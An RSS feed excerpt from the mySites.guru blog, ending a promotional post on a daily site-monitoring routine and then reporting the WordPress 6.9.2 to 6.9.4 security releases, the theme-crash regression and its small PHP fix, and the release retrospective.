&lt;li&gt;Prioritise security patches&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That’s the whole routine. Five areas, five minutes, every site covered.&lt;/p&gt;
&lt;h2&gt;Does This Routine Scale from 10 Sites to 500?&lt;/h2&gt;
&lt;p&gt;The routine above works whether you manage 10 sites or 500. Here’s why.&lt;/p&gt;
&lt;h3&gt;The sidebar counters don’t change with scale&lt;/h3&gt;
&lt;p&gt;Whether you have 10 sites or 500, the Important Items section gives you the same quick summary. Zero hacked sites is zero hacked sites, regardless of the denominator.&lt;/p&gt;
&lt;h3&gt;Snapshots run automatically&lt;/h3&gt;
&lt;p&gt;mySites.guru snapshots every connected site twice a day without any manual intervention. You’re reviewing results, not running checks. The per-site overhead of your morning routine is effectively zero.&lt;/p&gt;
&lt;h3&gt;Bulk operations are built in&lt;/h3&gt;
&lt;p&gt;Mass upgrades, bulk backups, and the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (Cmd+K / Ctrl+K) mean you’re never clicking through hundreds of individual sites. Type a few characters, hit enter, and you’re on the right page.&lt;/p&gt;
&lt;h3&gt;Tags keep things manageable&lt;/h3&gt;
&lt;p&gt;For large portfolios, Site Group Tags let you break the morning check into segments. Check your “Priority” tag first, then “Managed Clients”, then “Legacy Sites.” Each segment uses the same five steps; you’re just working through filtered views.&lt;/p&gt;
&lt;h3&gt;The command palette shortcut&lt;/h3&gt;
&lt;p&gt;If you want to skip the sidebar entirely and jump straight to a specific site or tool, press &lt;strong&gt;Cmd+K&lt;/strong&gt; (Mac) or &lt;strong&gt;Ctrl+K&lt;/strong&gt; (Windows) from anywhere in the dashboard. The &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; searches across all your sites, all tools, and all account functions. Type “backups” and you’re on the backup page. Type a domain name and you’re on that site’s management page. It’s faster than clicking through menus.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Keyboard shortcuts go further&lt;/p&gt;
  &lt;p&gt;Press the question mark key (?) anywhere in mySites.guru to reveal a full keyboard shortcuts page. Shortcuts include mass updates (m u), mass installs (m i), toggling dark mode (d), and logging out (Shift+L).&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;Everything in this routine applies to WordPress sites too. mySites.guru manages Joomla, WordPress, and generic PHP sites with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;identical features across all three platforms&lt;/a&gt;. The sidebar counters include all platforms. The backup scheduler works with Akeeba Backup for WordPress and All-in-One Migration. The uptime engine checks every connected site regardless of platform.&lt;/p&gt;
&lt;p&gt;If you run a mixed agency with both Joomla and WordPress clients, you don’t need separate tools or separate routines. One login, one dashboard, one morning check.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough of the WordPress-specific workflows, see the &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;guide to managing multiple WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How Can You Automate Beyond the Morning Check?&lt;/h2&gt;
&lt;p&gt;The morning routine is for your awareness. But much of the work can be automated so that problems are caught and resolved before you even log in.&lt;/p&gt;
&lt;h3&gt;Scheduled snapshots and audits&lt;/h3&gt;
&lt;p&gt;mySites.guru &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedules audits&lt;/a&gt; on a daily, weekly, or monthly basis. The deep &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; checks every line of code in every file on your webspace, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files you might not know about&lt;/a&gt;, using crowdsourced detection patterns that improve daily. If a hack is found on another subscriber’s site, the detection rule is added to the system, and your next audit benefits from it.&lt;/p&gt;
&lt;h3&gt;Ask instead of clicking&lt;/h3&gt;
&lt;p&gt;If the morning check is really a list of questions you ask every day, you can ask them out loud. &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Connect your account to Claude or any MCP client&lt;/a&gt; and the whole triage becomes one message: which sites are out of date, which backups failed, what flagged suspect files overnight. The &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;site summary tool&lt;/a&gt; answers most of that in a single call. Then queue the audits and backups in the same conversation, without opening a single tab.&lt;/p&gt;
&lt;h3&gt;Automatic extension updates&lt;/h3&gt;
&lt;p&gt;For extensions you trust to update without testing, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates&lt;/a&gt;. mySites.guru applies the update on the next snapshot when it detects a new version, and notifies you of the result. This is particularly useful for well-maintained security extensions and backup components that you want kept current at all times.&lt;/p&gt;
&lt;h3&gt;SSL monitoring on autopilot&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate checks&lt;/a&gt; run on every snapshot. mySites.guru downloads the certificate, checks the issuer, validates the full chain, and monitors the expiration date. You set a grace period (default is 2 days before expiry) and the system alerts you automatically. The SSL overview page lists all your sites sorted by certificate expiry date, with a CSV export for offline review.&lt;/p&gt;
&lt;h3&gt;Real-time file monitoring&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring system&lt;/a&gt; watches critical files like &lt;code&gt;configuration.php&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; using MD5 hash comparison on every page load. This isn’t a scheduled scan; it fires in real time. By the time you sit down for your morning check, any overnight file changes have already been reported to your inbox.&lt;/p&gt;
&lt;h2&gt;What Are the Common Mistakes to Avoid?&lt;/h2&gt;
&lt;h3&gt;Skipping the backup check&lt;/h3&gt;
&lt;p&gt;It’s easy to assume backups are running because you set up the schedule once. Hosting changes, extension updates, and disk space limits all break backup schedules with no error. Check the backup page every morning.&lt;/p&gt;
&lt;h3&gt;Ignoring “Sites Not Connected”&lt;/h3&gt;
&lt;p&gt;A disconnected site is a blind spot. You’re not getting snapshots, you’re not getting alerts, and you won’t know about problems until someone tells you. Reconnect these sites immediately. The connector plugin may need reinstalling or the site may have moved to a new server.&lt;/p&gt;
&lt;h3&gt;Treating all updates equally&lt;/h3&gt;
&lt;p&gt;A Joomla security release that patches an &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;actively exploited vulnerability&lt;/a&gt; isn’t the same as a template update that adds a new colour option. Security updates go first.&lt;/p&gt;
&lt;h3&gt;Not using tags&lt;/h3&gt;
&lt;p&gt;If you manage more than 20 sites and aren’t using tags, you’re making the morning check harder than it needs to be. Tags let you prioritise, filter, and batch-process sites by any criteria you choose.&lt;/p&gt;
&lt;h3&gt;Checking sites one by one&lt;/h3&gt;
&lt;p&gt;The whole point of a centralised dashboard is that you don’t need to log into individual admin panels. If you find yourself opening Joomla admin URLs to verify things, you’re working around the tool instead of with it. Trust the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot data&lt;/a&gt;, which checks &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 140 data points&lt;/a&gt; per site, twice a day.&lt;/p&gt;
&lt;h2&gt;Building the habit&lt;/h2&gt;
&lt;p&gt;A morning routine only works if you actually do it.&lt;/p&gt;
&lt;h3&gt;Same time every day&lt;/h3&gt;
&lt;p&gt;Pick a time (first thing, right after coffee, whatever works) and stick to it. The routine takes five minutes, so there’s no excuse to skip it.&lt;/p&gt;
&lt;h3&gt;Make it a team responsibility&lt;/h3&gt;
&lt;p&gt;If you have team members, rotate the morning check. The person on duty reviews the dashboard and raises anything that needs attention. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;unlimited team members&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;h3&gt;Use the command palette&lt;/h3&gt;
&lt;p&gt;Once you learn Cmd+K, you won’t go back to clicking through menus. It shaves seconds off every navigation, and those seconds add up over a 5-minute routine.&lt;/p&gt;
&lt;h3&gt;Keep a log&lt;/h3&gt;
&lt;p&gt;Not a formal document, just a quick note in Slack or your project management tool. “Morning check: all clear” or “Morning check: 3 failed backups on Hetzner, investigating.” It takes 10 seconds and gives your team visibility into the routine.&lt;/p&gt;
&lt;h3&gt;Act on problems the same morning&lt;/h3&gt;
&lt;p&gt;The whole point of the morning check is early detection. If you spot a problem and add it to a backlog for “later,” you’ve defeated the purpose. Fix what you can immediately, escalate what you can’t, and track what needs scheduling.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you’re not yet using mySites.guru, the &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month is free&lt;/a&gt;. Sign up, connect your sites, and try this morning routine on your own portfolio. The &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; is GBP 19.99 per month for unlimited sites, the same price since 2012.&lt;/p&gt;
&lt;p&gt;Everything described in this post is included in that single subscription: the dashboard, the uptime monitoring, the snapshot engine, the alert system, the backup scheduler, the update queue, the security audits, and the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL monitoring&lt;/a&gt;. No add-ons, no per-site fees.&lt;/p&gt;
&lt;p&gt;Five minutes a morning, hundreds of sites checked.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Ready to try it?&lt;/p&gt;
  &lt;p&gt;Sign up for a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free first month&lt;/a&gt;, connect your Joomla and WordPress sites, and try this morning routine on day one.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Official Security Advisories&lt;/a&gt; - Joomla-specific vulnerability disclosures&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation.html&quot;&gt;Akeeba Backup Documentation&lt;/a&gt; - the backup component mySites.guru integrates with for both Joomla and WordPress&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/projects/web-security-testing-guide&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; - web application security best practices that complement daily monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Daily workflows are the foundation of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>workflow</category><category>agency</category><category>daily routine</category><category>joomla</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/how-to-build-morning-routine-checking-joomla-sites.png" length="0" type="image/png"/></item><item><title>WordPress 6.9.2, 6.9.3, and 6.9.4: 10 Security Fixes, a Crash, and Incomplete Patches</title><link>https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</guid><description>WordPress 6.9.2 crashed sites with a white screen, 6.9.3 fixed it, then 6.9.4 completed three missing security patches. What happened and how to recover.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;time&gt;Published: 10 March 2026&lt;/time&gt; - &lt;time&gt;Updated: 11 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Update to WordPress 6.9.4 now.&lt;/p&gt;&lt;p&gt;WordPress shipped three security releases in two days. 6.9.2 patched 10 vulnerabilities but broke sites. 6.9.3 fixed the crash. 6.9.4 (March 11) completes three patches that weren’t fully applied - PclZip path traversal, Notes authorization bypass, and XXE in getID3. If you’re on anything older than 6.9.4, update now.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2&lt;/a&gt; dropped on March 10, 2026 as a security-only release patching 10 vulnerabilities. Within hours, site owners started reporting blank websites after updating.&lt;/p&gt;
&lt;p&gt;The WordPress project pulled the release, reverting the version API and &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;download page&lt;/a&gt; back to 6.9.1. By 22:40 UTC the same day, &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;6.9.3 was released&lt;/a&gt; with the theme compatibility fix included. Then on March 11, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped after the security team discovered that three of the original patches were incomplete.&lt;/p&gt;
&lt;p&gt;If you haven’t updated yet, update to 6.9.4 now: all 10 security patches are fully applied, and the regression that crashed sites is fixed.&lt;/p&gt;
&lt;h2&gt;The 10 WordPress Security Fixes in 6.9.2&lt;/h2&gt;
&lt;p&gt;These are the vulnerabilities patched in 6.9.2 and still included in 6.9.3. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Blind SSRF&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/sibwtf&quot;&gt;sibwtf&lt;/a&gt; and several other researchers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PoP-chain weakness&lt;/strong&gt; in the HTML API and Block Registry - reported by &lt;a href=&quot;https://github.com/hackerlo2003&quot;&gt;Phat RiO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regex DoS&lt;/strong&gt; in numeric character references - reported by Dennis Snell of the WordPress Security Team&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS in nav menus&lt;/strong&gt; - reported by &lt;a href=&quot;https://x.com/Savphill&quot;&gt;Phill Savage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AJAX &lt;code&gt;query-attachments&lt;/code&gt; authorization bypass&lt;/strong&gt; - reported by &lt;a href=&quot;https://www.vitalysim.com/&quot;&gt;Vitaly Simonovich&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS via &lt;code&gt;data-wp-bind&lt;/code&gt; directive&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XSS overriding client-side templates in admin&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/amosec&quot;&gt;Asaf Mozes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - reported independently by &lt;a href=&quot;https://profiles.wordpress.org/francescocarlucci/&quot;&gt;Francesco Carlucci&lt;/a&gt; and &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XXE in the external getID3 library&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/regex33/&quot;&gt;Youssef Achtatal&lt;/a&gt;; a &lt;a href=&quot;https://github.com/JamesHeinrich/getID3/releases&quot;&gt;fix to getID3 itself&lt;/a&gt; has also been coordinated&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These fixes are being backported to all branches still receiving security updates (currently back to 4.7). WordPress 7.0 Beta 4, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;also released on March 10&lt;/a&gt;, includes all 10 security patches plus 49 additional updates (14 in the Editor, 35 in Core). &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 “Armstrong” shipped on 20 May 2026&lt;/a&gt; after the April delay; mySites.guru is fully compatible with it.&lt;/p&gt;
&lt;p&gt;Staying on 6.9.1 or earlier means your site is exposed to all 10 of these. Update to 6.9.4.&lt;/p&gt;
&lt;h2&gt;How WordPress 6.9.2 Crashed Sites&lt;/h2&gt;
&lt;p&gt;John Blackbourn, a WordPress core developer, responded in the &lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;support forums&lt;/a&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;John Blackbourn, WordPress core developer&lt;/p&gt;&lt;div&gt;&lt;p&gt;There appears to be an incompatibility with themes that use a certain theme framework under the hood.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A new security check in &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; added a &lt;code&gt;realpath()&lt;/code&gt; call that expects &lt;code&gt;$template&lt;/code&gt; to be a strict PHP string. Some theme frameworks pass a “stringable object” through the &lt;code&gt;template_include&lt;/code&gt; filter instead, an object with a &lt;code&gt;__toString()&lt;/code&gt; method. That’s worked for years because PHP’s &lt;code&gt;include&lt;/code&gt; handles stringable objects just fine. &lt;code&gt;realpath()&lt;/code&gt; does not. It gets an object, returns &lt;code&gt;false&lt;/code&gt;, and the template never loads. Blank page.&lt;/p&gt;
&lt;p&gt;The bug only affected the front end. wp-admin continued to work, so affected site owners could still log in and manage their sites.&lt;/p&gt;
&lt;h2&gt;The 6.9.3 Hot-Fix Release&lt;/h2&gt;
&lt;p&gt;John Blackbourn &lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;committed the fix&lt;/a&gt; to WordPress trunk, touching &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. The fix adds a check for stringable objects before calling &lt;code&gt;realpath()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$is_stringy &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; is_string&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; $template&lt;/span&gt;&lt;span&gt; ) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;is_object&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; $template&lt;/span&gt;&lt;span&gt; ) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; method_exists&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; $template,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__toString&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; ) );&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$template   &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $is_stringy &lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt; realpath&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; $template&lt;/span&gt;&lt;span&gt; ) &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stringable objects get cast to a string with &lt;code&gt;(string)&lt;/code&gt; before hitting &lt;code&gt;realpath()&lt;/code&gt;. Anything that’s neither a string nor stringable gets set to &lt;code&gt;null&lt;/code&gt; and the security checks reject it as before. The same fix is applied to block pattern file paths in &lt;code&gt;class-wp-block-patterns-registry.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Props to Dennis Snell and Weston Ruter on the fix, committed by John Blackbourn. This fix shipped in 6.9.3.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;p&gt;The timeline on March 10, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;6.9.2 released&lt;/strong&gt; - 10 security patches ship&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites start crashing&lt;/strong&gt; - blank front pages reported within hours on certain theme frameworks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress pulls the release&lt;/strong&gt; - version API and download page revert to 6.9.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn confirms the bug&lt;/strong&gt; in the support forums and identifies the theme framework incompatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jos Klever posts a workaround&lt;/strong&gt; - replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; with the 6.9.1 version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn commits the fix to trunk&lt;/strong&gt; - stringable object support added to template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21:44 UTC - Otto (WordPress.org Tech Guy) confirms on Reddit&lt;/strong&gt; that 6.9.3 is coming shortly and that the affected frameworks are “pretty rare”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~22:40 UTC - 6.9.3 goes live&lt;/strong&gt; - version API, download page, and releases archive all show 6.9.3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The timeline continues on March 11, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress Security Team discovers incomplete patches&lt;/strong&gt; - Thomas Kräftner’s responsible disclosure confirms that three of the 10 security fixes from 6.9.2 weren’t fully applied&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6.9.4 released&lt;/strong&gt; - completes the PclZip path traversal fix, Notes authorization bypass fix, and XXE fix in getID3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_Z1ETy11.webp&quot; srcset=&quot;https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_2r3XIa.webp 640w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_ZdCJmc.webp 750w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_Z29erbG.webp 828w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_ZwoPaY.webp 1080w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_28V4La.webp 1280w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_Z2XS6l.webp 1668w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_Ug2Lw.webp 2048w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_1PHQiq.webp 2560w, https://mysites.guru/_astro/otto-reddit-comment-wp692.DZVaXVxB_Z1ETy11.webp 3030w&quot; alt=&quot;Otto&apos;s Reddit comment confirming 6.9.3 is coming shortly&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3030px) 3030px, 100vw&quot; width=&quot;3030&quot; height=&quot;1026&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What did WordPress say officially about 6.9.3?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; describes this as a “fast follow” to 6.9.2. The page notes that passing stringable objects through the &lt;code&gt;template_include&lt;/code&gt; filter is not an officially supported method in WordPress - the filter is documented as only accepting strings. But enough themes relied on it that the team restored compatibility anyway.&lt;/p&gt;
&lt;p&gt;Only two files changed between 6.9.2 and 6.9.3: &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. All 10 security fixes from 6.9.2 remain intact.&lt;/p&gt;
&lt;h2&gt;The 6.9.4 Cleanup Release&lt;/h2&gt;
&lt;p&gt;&lt;time&gt;Updated: 11 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;p&gt;One day after the 6.9.2/6.9.3 saga, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;WordPress 6.9.4 release announcement&lt;/p&gt;&lt;div&gt;&lt;p&gt;The WordPress Security Team has discovered that not all of the security fixes were fully applied, therefore 6.9.4 has been released containing the necessary additional fixes.&lt;/p&gt;&lt;p&gt;Because this is a security release, it is recommended that you update your sites immediately.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So what happened? Three of the 10 security patches that shipped in 6.9.2 were incomplete. The vulnerabilities were partially addressed but not fully closed. Thomas Kräftner discovered this through responsible disclosure, and the WordPress security team confirmed it. Neither 6.9.2 nor 6.9.3 had complete fixes for these three issues - only 6.9.4 does.&lt;/p&gt;
&lt;p&gt;The three fixes that were incomplete in 6.9.2 and 6.9.3:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - the original patch in 6.9.2 didn’t fully close the path traversal vector. 6.9.4 updates &lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt; with the complete fix. Originally reported by Francesco Carlucci and kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - the REST API endpoint for comments (&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;) needed an additional authorization check. Originally reported by kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XXE in the getID3 library&lt;/strong&gt; - the XML external entity vulnerability in &lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt; wasn’t fully mitigated. A new version of the external getID3 library has also been released by James Heinrich. Originally reported by Youssef Achtatal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Three files changed between 6.9.3 and 6.9.4:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;If you updated to 6.9.3, you still need 6.9.4&lt;/p&gt;&lt;p&gt;6.9.3 fixed the theme crash from 6.9.2, but it has the same incomplete security patches. The path traversal, authorization bypass, and XXE fixes are only fully applied in 6.9.4. Update now.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What did the WordPress security team learn from the retrospective?&lt;/h2&gt;
&lt;p&gt;&lt;time&gt;Updated: 25 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;p&gt;Two weeks later, the WordPress Security Team published an &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;official retrospective&lt;/a&gt; on the whole saga.&lt;/p&gt;
&lt;p&gt;The biggest takeaway: &lt;strong&gt;there was no step in the minor release checklist to verify that all commits were successfully merged into the release branch.&lt;/strong&gt; Three of the 10 security commits made it into trunk but never merged into the 6.9 branch, which is how 6.9.2 shipped with incomplete patches. The team calls it a checklist oversight that had simply never been caught before.&lt;/p&gt;
&lt;p&gt;Backporting was painful too. Applying the fixes to 22 older branches (back to 4.7) took the better part of a week, partly due to contributor time constraints and partly because a bug in the WordPress.org SVN pre-commit hook blocked pushes to the 5.2 branch and earlier. The 6.0 branch (6.0.12) remains unreleased at time of writing due to an unresolved build issue.&lt;/p&gt;
&lt;p&gt;Some things did go well. Shipping 6.9.2 before starting backports got the fix out to the majority of sites faster. Releasing 7.0 Beta 4 alongside 6.9.3 meant beta testers weren’t left on a known-insecure version, something that’s only happened three times in WordPress’s 20-year history.&lt;/p&gt;
&lt;p&gt;Going forward, the team plans to add merge verification to the release checklist, improve automation around backports, require built-asset testing before tagging, and add unit test coverage for stringable objects in the &lt;code&gt;template_include&lt;/code&gt; filter. Matt Mullenweg has also asked the team to explore AI-assisted tooling for reviewing changes going into releases to assess breakage risk.&lt;/p&gt;
